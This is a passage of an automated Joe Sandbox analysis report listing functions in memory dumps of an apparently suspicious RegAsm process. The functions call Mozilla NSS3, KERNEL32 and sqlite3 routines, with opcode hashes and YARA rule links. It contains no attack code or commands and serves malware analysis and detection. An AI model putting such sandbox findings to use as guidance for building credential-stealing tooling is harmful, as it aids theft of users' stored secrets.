Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: da0e787f7024ebf0d532bcbe0a01ba82f8d92f7d1a59a1385ee596b087bb2505
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 8521A1B1A407429BEB00CF25D944B52B7E4BFA8349F25C219E82C8BA61EB74E594C6D0

Function 6C024900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C00C79F,?,?,6C025C4A,?), ref: 6C024950

Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028821
Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C02883D
Part of subcall function 6C028800: EnterCriticalSection.KERNEL32(?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028856
Part of subcall function 6C028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C028887
Part of subcall function 6C028800: PR_Unlock.NSS3(?,?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028899

TlsGetValue.KERNEL32(?,?,?), ref: 6C02496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C02497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C024989

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: b077960e437ad2f6f13d7a1cb07bf1d9e5191c32680061263697dc020c28a040
Instruction ID: 8cc84e55b3eca6255c02ce3a836db86725623c9b3a3ce7c08fcc31885df7dc41
Opcode Fuzzy Hash: b077960e437ad2f6f13d7a1cb07bf1d9e5191c32680061263697dc020c28a040
Instruction Fuzzy Hash: D41138B6B00200ABEB10AF78EC01B1A73F8FF0632CB140135ED4997A12E725F814AB95

Function 6C0408D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C0409B3,0000001A,?), ref: 6C0408E9

Part of subcall function 6C030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C0308B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C0408FD

Part of subcall function 6C02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB85
Part of subcall function 6C02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C02FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C040939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C040953

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 45d275957c610aeae10f7a799e78990f31c3d75821ba1800d443041f72bab2d0
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: B901D6B160A74AABFB149B369C10B6737D89F5025CF10C43DED1AD6A41FB31E8148AA4

Function 6C05EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C047FFA,?,6C049767,?,8B7874C0,0000A48E), ref: 6C05EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C047FFA,?,6C049767,?,8B7874C0,0000A48E), ref: 6C05EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C047FFA,?,6C049767,?,8B7874C0,0000A48E), ref: 6C05EE14

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

memcpy.VCRUNTIME140(?,?,6C049767,00000000,00000000,6C047FFA,?,6C049767,?,8B7874C0,0000A48E), ref: 6C05EE33

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 2fe1673238b1fa39ef0abe742e3867ae04e48b2e4e71dc5480aef1edc3083d5b
Instruction ID: 903f1b9aa22f98923b77bf597b023de4e909e7cfd6bfc99fe4c6ae95ff87f202
Opcode Fuzzy Hash: 2fe1673238b1fa39ef0abe742e3867ae04e48b2e4e71dc5480aef1edc3083d5b
Instruction Fuzzy Hash: EF1102B5A00706ABEB109E65DE84B46B3ECEF0435CF604431EA6987A00E338F474CBE1

Function 6C0249C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028821
Part of subcall function 6C028800: TlsGetValue.KERNEL32(?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C02883D
Part of subcall function 6C028800: EnterCriticalSection.KERNEL32(?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028856
Part of subcall function 6C028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C028887
Part of subcall function 6C028800: PR_Unlock.NSS3(?,?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028899

PR_SetError.NSS3 ref: 6C024A10
TlsGetValue.KERNEL32(6C01781D,?,6C00BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C024A24
EnterCriticalSection.KERNEL32(?,?,?,6C00BD28,00CD52E8), ref: 6C024A39
PR_Unlock.NSS3(?,?,?,?,6C00BD28,00CD52E8), ref: 6C024A4E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 1e70776eb6f81da8bdd23ea088788af4df288e7f03c7c99e703a3a3e4c5329c0
Instruction ID: db29584fd1d9e9b0459c60941f617eb79e1abd06917c9281d77fc1464505ff2c
Opcode Fuzzy Hash: 1e70776eb6f81da8bdd23ea088788af4df288e7f03c7c99e703a3a3e4c5329c0
Instruction Fuzzy Hash: C7215CB5A046009FDB10AFB8C08866AB7F8FF45758F054929D8899BB01E738E884DB91

Function 6BFCEAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6BFCEB13
htonl.WSOCK32(00000000,?), ref: 6BFCEB26
htons.WSOCK32(?), ref: 6BFCEB44
PR_GetCurrentThread.NSS3(?), ref: 6BFCEB58

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: 5faaa55a7697331717b3b01f5090df806598b26dc4e5a0598e7b0abd376f3ff1
Instruction ID: e9f74dc463aa8dcfc0b9a5322fd344ed46dd5ff5da0e38c7ddcb90bd5fa87104
Opcode Fuzzy Hash: 5faaa55a7697331717b3b01f5090df806598b26dc4e5a0598e7b0abd376f3ff1
Instruction Fuzzy Hash: A611B272D74B9297D3209F24880267773A0BFE6704B01AB4EE8CA47631E778B0C0C356

Function 6BFF8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BFF8DE7
EnterCriticalSection.KERNEL32 ref: 6BFF8DFC
PR_Unlock.NSS3 ref: 6BFF8E2D
PR_SetError.NSS3 ref: 6BFF8E49

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d5b20d78637a20817b8c3923048446f9b06ed407f062fca3d5dbdfdd867137f9
Instruction ID: 5509618b61bd1cae6baaed389f0d6ab8b1edaff5b0881b92be7c2ff72a625eb4
Opcode Fuzzy Hash: d5b20d78637a20817b8c3923048446f9b06ed407f062fca3d5dbdfdd867137f9
Instruction Fuzzy Hash: D0119EB6604A019FD700AF78C5882AABBF8FF05714F014969DC88D7710EB38E895CBD2

Function 6C07AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C065F17,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C07AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C065F17,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C07ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C07ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C07ACDB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 3d7d8b4a0ab40ccc32de4830c412426104bade90e707ad6a1da0e1006c7008a7
Instruction ID: 2251e9f8bcdd873f761179c72be1dc676d419290485326496bc94773a6637698
Opcode Fuzzy Hash: 3d7d8b4a0ab40ccc32de4830c412426104bade90e707ad6a1da0e1006c7008a7
Instruction Fuzzy Hash: DC014CB5601B02ABEB60DF39D909753B7E8BF00669B204839E85AC3A10E735F054CBA1

Function 6C0288E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C0308AA,?), ref: 6C0288F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C0308AA,?), ref: 6C02890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C0308AA,?), ref: 6C028936
PR_Unlock.NSS3(?,?,?,?,?,6C0308AA,?), ref: 6C028940

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 3fc083a900b6ec13566d784f4720cf337b85bd0ec6c94f8b1c0335acaecbb2fd
Instruction ID: 0fd028b138066bd614631da76ac1a7aaaeee24f4255df8768bf69312df4ef3c6
Opcode Fuzzy Hash: 3fc083a900b6ec13566d784f4720cf337b85bd0ec6c94f8b1c0335acaecbb2fd
Instruction Fuzzy Hash: 1A0184BA6046059BDB00BF39C084659B7F4FF05398F05066AD88887700E738E4E5CBD2

Function 6C07AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C065D40,00000000,?,?,6C056AC6,6C06639C), ref: 6C07AC2D

Part of subcall function 6C01ADC0: TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE10
Part of subcall function 6C01ADC0: EnterCriticalSection.KERNEL32(?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE24
Part of subcall function 6C01ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6BFFD079,00000000,00000001), ref: 6C01AE5A
Part of subcall function 6C01ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE6F
Part of subcall function 6C01ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE7F
Part of subcall function 6C01ADC0: TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEB1
Part of subcall function 6C01ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEC9

PK11_FreeSymKey.NSS3(?,6C065D40,00000000,?,?,6C056AC6,6C06639C), ref: 6C07AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C065D40,00000000,?,?,6C056AC6,6C06639C), ref: 6C07AC59
free.MOZGLUE(8CB6FF01,6C056AC6,6C06639C,?,?,?,?,?,?,?,?,?,6C065D40,00000000,?,6C06AAD4), ref: 6C07AC62

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 2b9e105a38cae5ad3a86ea0407f61dc139731739395f7b6c0c87e2280b68cfae
Instruction ID: d2a19ec48d98789a5800b72704f6c7e0d3ac5ae52ce4d499e1ceaaf786c30aed
Opcode Fuzzy Hash: 2b9e105a38cae5ad3a86ea0407f61dc139731739395f7b6c0c87e2280b68cfae
Instruction Fuzzy Hash: BC012CB5600604ABDF14DF55E8C1B46B7E8AB45B58F288068E9498F706D735F848CBB1

Function 6C060840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C132F88,6C060660,00000020,00000000,?,?,6C062C3D,?,00000000,00000000,?,6C062A28,00000060,00000001), ref: 6C060860

Part of subcall function 6BF54C70: TlsGetValue.KERNEL32(?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54C97
Part of subcall function 6BF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CB0
Part of subcall function 6BF54C70: PR_Unlock.NSS3(?,?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C062C3D,?,00000000,00000000,?,6C062A28,00000060,00000001), ref: 6C060874
EnterCriticalSection.KERNEL32(00000001), ref: 6C060884
PR_Unlock.NSS3 ref: 6C0608A3

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 6b79c97d61a45840ca65e38ee5711bd2956729d175c5f09fb573b0ed9788ab0b
Instruction ID: da1a4bba0439a2fed1c46ef8bbd218872a9dc07fa4800ef14769afc395ee04d4
Opcode Fuzzy Hash: 6b79c97d61a45840ca65e38ee5711bd2956729d175c5f09fb573b0ed9788ab0b
Instruction Fuzzy Hash: 78017B76B482446FEB117F2AEC09B567BFCDF5631CF0801A5EC4C52E02EB22949097E5

Function 6C0ECC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C0ECC61
free.MOZGLUE ref: 6C0ECC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C0ECC80
free.MOZGLUE(?), ref: 6C0ECC87

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 9820a18cdabc56cb2661e140a903247693d4eb4e6784e70c831258ac144dcb1f
Instruction ID: 466eb969f64b04a7abefe9015a8efeea19a34d24c79525615f3506c8f191fca7
Opcode Fuzzy Hash: 9820a18cdabc56cb2661e140a903247693d4eb4e6784e70c831258ac144dcb1f
Instruction Fuzzy Hash: 14E0307A700608AFDE10EFA8DC4488777ACEE492703150525E791C3700D235F945CBE1

Function 6C024D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C024D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C024DE6

Strings

%d.%d, xrefs: 6C024DDE

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: cfde831a0c64816da12afbcf860ca43466422656c772cf7ab9bd5ac8772a96bf
Instruction ID: 769b5cde01929bdc239da04aa4186192039d6d3961d526fec9f5c53ea67f5c4b
Opcode Fuzzy Hash: cfde831a0c64816da12afbcf860ca43466422656c772cf7ab9bd5ac8772a96bf
Instruction Fuzzy Hash: C731EAB2E042196BEF109BB09C05BFF77E8DF40308F050429ED15AB781EB78A905CBA1

Function 6C0C0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C0C0917
sqlite3_value_text.NSS3(?), ref: 6C0C0923

Part of subcall function 6BF813C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6BF52352,?,00000000,?,?), ref: 6BF81413
Part of subcall function 6BF813C0: memcpy.VCRUNTIME140(00000000,6BF52352,00000002,?,?,?,?,6BF52352,?,00000000,?,?), ref: 6BF814C0

Strings

error in %s %s%s%s: %s, xrefs: 6C0C0944

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: d547dedc645db391899d98cc06674083da85654fe89c7ed3f883ddca715e4b2b
Instruction ID: 6789076f96b6e4bf53efb4bba656597a62c1bf06cfaf010c73be3e308c44546f
Opcode Fuzzy Hash: d547dedc645db391899d98cc06674083da85654fe89c7ed3f883ddca715e4b2b
Instruction Fuzzy Hash: 9C0108B6E001495BEB009F68FC02A7FB7B5EFC5218F144539ED585B311FB32A95087A2

Function 6BFC0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B

Part of subcall function 6BFC1370: GetSystemInfo.KERNEL32(?,?,?,?,6BFC0936,?,6BFC0F20,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000), ref: 6BFC138F

PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

Part of subcall function 6BFC1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6BFC0936,00000001,00000040), ref: 6BFC1130
Part of subcall function 6BFC1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFC0936,00000001,00000040), ref: 6BFC1142
